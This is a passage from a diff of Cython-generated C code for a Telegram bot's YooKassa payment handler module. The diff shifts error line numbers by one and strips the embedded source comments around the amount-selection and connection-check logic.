__PYX_ERR(0, 106, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 107, __pyx_L1_error) __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); } else { __pyx_t_1 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 106, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 107, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_exists = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":107 - * if key_count == 0: - * exists = await check_connection_exists(tg_id) - * if not exists: # <<<<<<<<<<<<<< - * await add_connection(tg_id, balance=0.0, trial=0, session=session) - * - */ - __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 107, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 108, __pyx_L1_error) __pyx_t_15 = (!__pyx_t_2); if (__pyx_t_15) { - /* "handlers/payments/yookassa_pay.py":108 - * exists = await check_connection_exists(tg_id) - * if not exists: - * await add_connection(tg_id, balance=0.0, trial=0, session=session) # <<<<<<<<<<<<<< - * - * await callback_query.message.answer( - */ - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 108, __pyx_L1_error) + __pyx_t_9 = PyTuple_New(1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_INCREF(__pyx_cur_scope->__pyx_v_tg_id); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_tg_id); - if (__Pyx_PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_cur_scope->__pyx_v_tg_id)) __PYX_ERR(0, 108, __pyx_L1_error); - __pyx_t_4 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 108, __pyx_L1_error) + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_cur_scope->__pyx_v_tg_id)) __PYX_ERR(0, 109, __pyx_L1_error); + __pyx_t_4 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 108, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 108, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 108, __pyx_L1_error) - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_9, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 108, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 109, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 109, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 109, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_9, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 109, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; @@ -5262,68 +5021,33 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_generator->resume_label = 4; return __pyx_r; __pyx_L14_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 108, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 109, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 108, __pyx_L1_error) + else __PYX_ERR(0, 109, __pyx_L1_error) } } - /* "handlers/payments/yookassa_pay.py":107 - * if key_count == 0: - * exists = await check_connection_exists(tg_id) - * if not exists: # <<<<<<<<<<<<<< - * await add_connection(tg_id, balance=0.0, trial=0, session=session) - * - */ } - /* "handlers/payments/yookassa_pay.py":105 - * key_count = await get_key_count(tg_id) - * - * if key_count == 0: # <<<<<<<<<<<<<< - * exists = await check_connection_exists(tg_id) - * if not exists: - */ } - /* "handlers/payments/yookassa_pay.py":110 - * await add_connection(tg_id, balance=0.0, trial=0, session=session) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=AMOUNT_TEXT, - * reply_markup=builder.as_markup(), - */ - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 110, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 110, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_answer); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/yookassa_pay.py":111 - * - * await callback_query.message.answer( - * text=AMOUNT_TEXT, # <<<<<<<<<<<<<< - * reply_markup=builder.as_markup(), - * ) - */ - __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 111, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_AMOUNT_TEXT); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 111, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_AMOUNT_TEXT); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 111, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/yookassa_pay.py":112 - * await callback_query.message.answer( - * text=AMOUNT_TEXT, - * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< - * ) - * - */ - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 112, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_11 = NULL; __pyx_t_5 = 0; @@ -5343,21 +5067,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 112, __pyx_L1_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 113, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_t_9) < 0) __PYX_ERR(0, 111, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_reply_markup, __pyx_t_9) < 0) __PYX_ERR(0, 112, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/yookassa_pay.py":110 - * await add_connection(tg_id, balance=0.0, trial=0, session=session) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=AMOUNT_TEXT, - * reply_markup=builder.as_markup(), - */ - __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 110, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 111, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -5372,27 +5089,20 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_generator->resume_label = 5; return __pyx_r; __pyx_L15_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 110, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 111, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 110, __pyx_L1_error) + else __PYX_ERR(0, 111, __pyx_L1_error) } } - /* "handlers/payments/yookassa_pay.py":115 - * ) - * - * await state.set_state(ReplenishBalanceState.choosing_amount_yookassa) # <<<<<<<<<<<<<< - * - * - */ - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 115, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 115, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_choosing_amount_yookassa); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 115, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_choosing_amount_yookassa); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; @@ -5414,7 +5124,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_t_9 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 115, __pyx_L1_error) + if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 116, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -5429,23 +5139,16 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co __pyx_generator->resume_label = 6; return __pyx_r; __pyx_L16_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 115, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 116, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 115, __pyx_L1_error) + else __PYX_ERR(0, 116, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/yookassa_pay.py":60 - * - * - * @router.callback_query(F.data == "pay_yookassa") # <<<<<<<<<<<<<< - * async def process_callback_pay_yookassa( - * callback_query: types.CallbackQuery, state: FSMContext, session: Any - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -5474,13 +5177,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_2generator(__pyx_Co } static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/yookassa_pay.py":118 - * - * - * @router.callback_query(F.data.startswith("yookassa_amount|")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_4process_amount_selection(PyObject *__pyx_self, @@ -5538,7 +5234,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 118, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 119, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -5546,14 +5242,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 118, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 119, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 118, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 119, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 118, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 119, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -5566,7 +5262,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 118, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 119, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -5605,7 +5301,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_3process_amount_sel if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_1_process_amount_selection *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 118, __pyx_L1_error) + __PYX_ERR(0, 119, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -5616,7 +5312,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_3process_amount_sel __Pyx_INCREF(__pyx_cur_scope->__pyx_v_state); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_state); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_5generator1, __pyx_codeobj__3, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 118, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_5generator1, __pyx_codeobj__3, (PyObject *) __pyx_cur_scope, __pyx_n_s_process_amount_selection, __pyx_n_s_process_amount_selection, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 119, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -5667,78 +5363,36 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 118, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 119, __pyx_L1_error) - /* "handlers/payments/yookassa_pay.py":122 - * callback_query: types.CallbackQuery, state: FSMContext - * ): - * data = callback_query.data.split("|", 1) # <<<<<<<<<<<<<< - * - * if len(data) != 2: - */ - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 122, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 122, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_split); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 122, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 123, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_data = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":124 - * data = callback_query.data.split("|", 1) - * - * if len(data) != 2: # <<<<<<<<<<<<<< - * return - * - */ - __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 124, __pyx_L1_error) + __pyx_t_3 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 125, __pyx_L1_error) __pyx_t_4 = (__pyx_t_3 != 2); if (__pyx_t_4) { - /* "handlers/payments/yookassa_pay.py":125 - * - * if len(data) != 2: - * return # <<<<<<<<<<<<<< - * - * amount_str = data[1] - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L0; - /* "handlers/payments/yookassa_pay.py":124 - * data = callback_query.data.split("|", 1) - * - * if len(data) != 2: # <<<<<<<<<<<<<< - * return - * - */ } - /* "handlers/payments/yookassa_pay.py":127 - * return - * - * amount_str = data[1] # <<<<<<<<<<<<<< - * try: - * amount = int(amount_str) - */ - __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 127, __pyx_L1_error) + __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 128, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_amount_str = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":128 - * - * amount_str = data[1] - * try: # <<<<<<<<<<<<<< - * amount = int(amount_str) - * except ValueError: - */ { __Pyx_ExceptionSave(&__pyx_t_5, &__pyx_t_6, &__pyx_t_7); __Pyx_XGOTREF(__pyx_t_5); @@ -5746,26 +5400,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __Pyx_XGOTREF(__pyx_t_7); /*try:*/ { - /* "handlers/payments/yookassa_pay.py":129 - * amount_str = data[1] - * try: - * amount = int(amount_str) # <<<<<<<<<<<<<< - * except ValueError: - * return - */ - __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 129, __pyx_L5_error) + __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 130, __pyx_L5_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_amount = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":128 - * - * amount_str = data[1] - * try: # <<<<<<<<<<<<<< - * amount = int(amount_str) - * except ValueError: - */ } __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; @@ -5775,28 +5415,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/yookassa_pay.py":130 - * try: - * amount = int(amount_str) - * except ValueError: # <<<<<<<<<<<<<< - * return - * - */ __pyx_t_8 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); if (__pyx_t_8) { __Pyx_AddTraceback("handlers.payments.yookassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_9) < 0) __PYX_ERR(0, 130, __pyx_L7_except_error) + if (__Pyx_GetException(&__pyx_t_1, &__pyx_t_2, &__pyx_t_9) < 0) __PYX_ERR(0, 131, __pyx_L7_except_error) __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_9); - /* "handlers/payments/yookassa_pay.py":131 - * amount = int(amount_str) - * except ValueError: - * return # <<<<<<<<<<<<<< - * - * await state.update_data(amount=amount) - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -5806,13 +5432,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C } goto __pyx_L7_except_error; - /* "handlers/payments/yookassa_pay.py":128 - * - * amount_str = data[1] - * try: # <<<<<<<<<<<<<< - * amount = int(amount_str) - * except ValueError: - */ __pyx_L7_except_error:; __Pyx_XGIVEREF(__pyx_t_5); __Pyx_XGIVEREF(__pyx_t_6); @@ -5828,19 +5447,12 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_L10_try_end:; } - /* "handlers/payments/yookassa_pay.py":133 - * return - * - * await state.update_data(amount=amount) # <<<<<<<<<<<<<< - * await state.set_state( - * ReplenishBalanceState.waiting_for_payment_confirmation_yookassa - */ - __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 133, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_update_data); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 133, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 133, __pyx_L1_error) - __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 133, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_amount, __pyx_cur_scope->__pyx_v_amount) < 0) __PYX_ERR(0, 134, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 134, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -5855,35 +5467,21 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L13_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 133, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 134, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 133, __pyx_L1_error) + else __PYX_ERR(0, 134, __pyx_L1_error) } } - /* "handlers/payments/yookassa_pay.py":134 - * - * await state.update_data(amount=amount) - * await state.set_state( # <<<<<<<<<<<<<< - * ReplenishBalanceState.waiting_for_payment_confirmation_yookassa - * ) - */ - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 134, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 135, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - /* "handlers/payments/yookassa_pay.py":135 - * await state.update_data(amount=amount) - * await state.set_state( - * ReplenishBalanceState.waiting_for_payment_confirmation_yookassa # <<<<<<<<<<<<<< - * ) - * - */ - __Pyx_GetModuleGlobalName(__pyx_t_9, 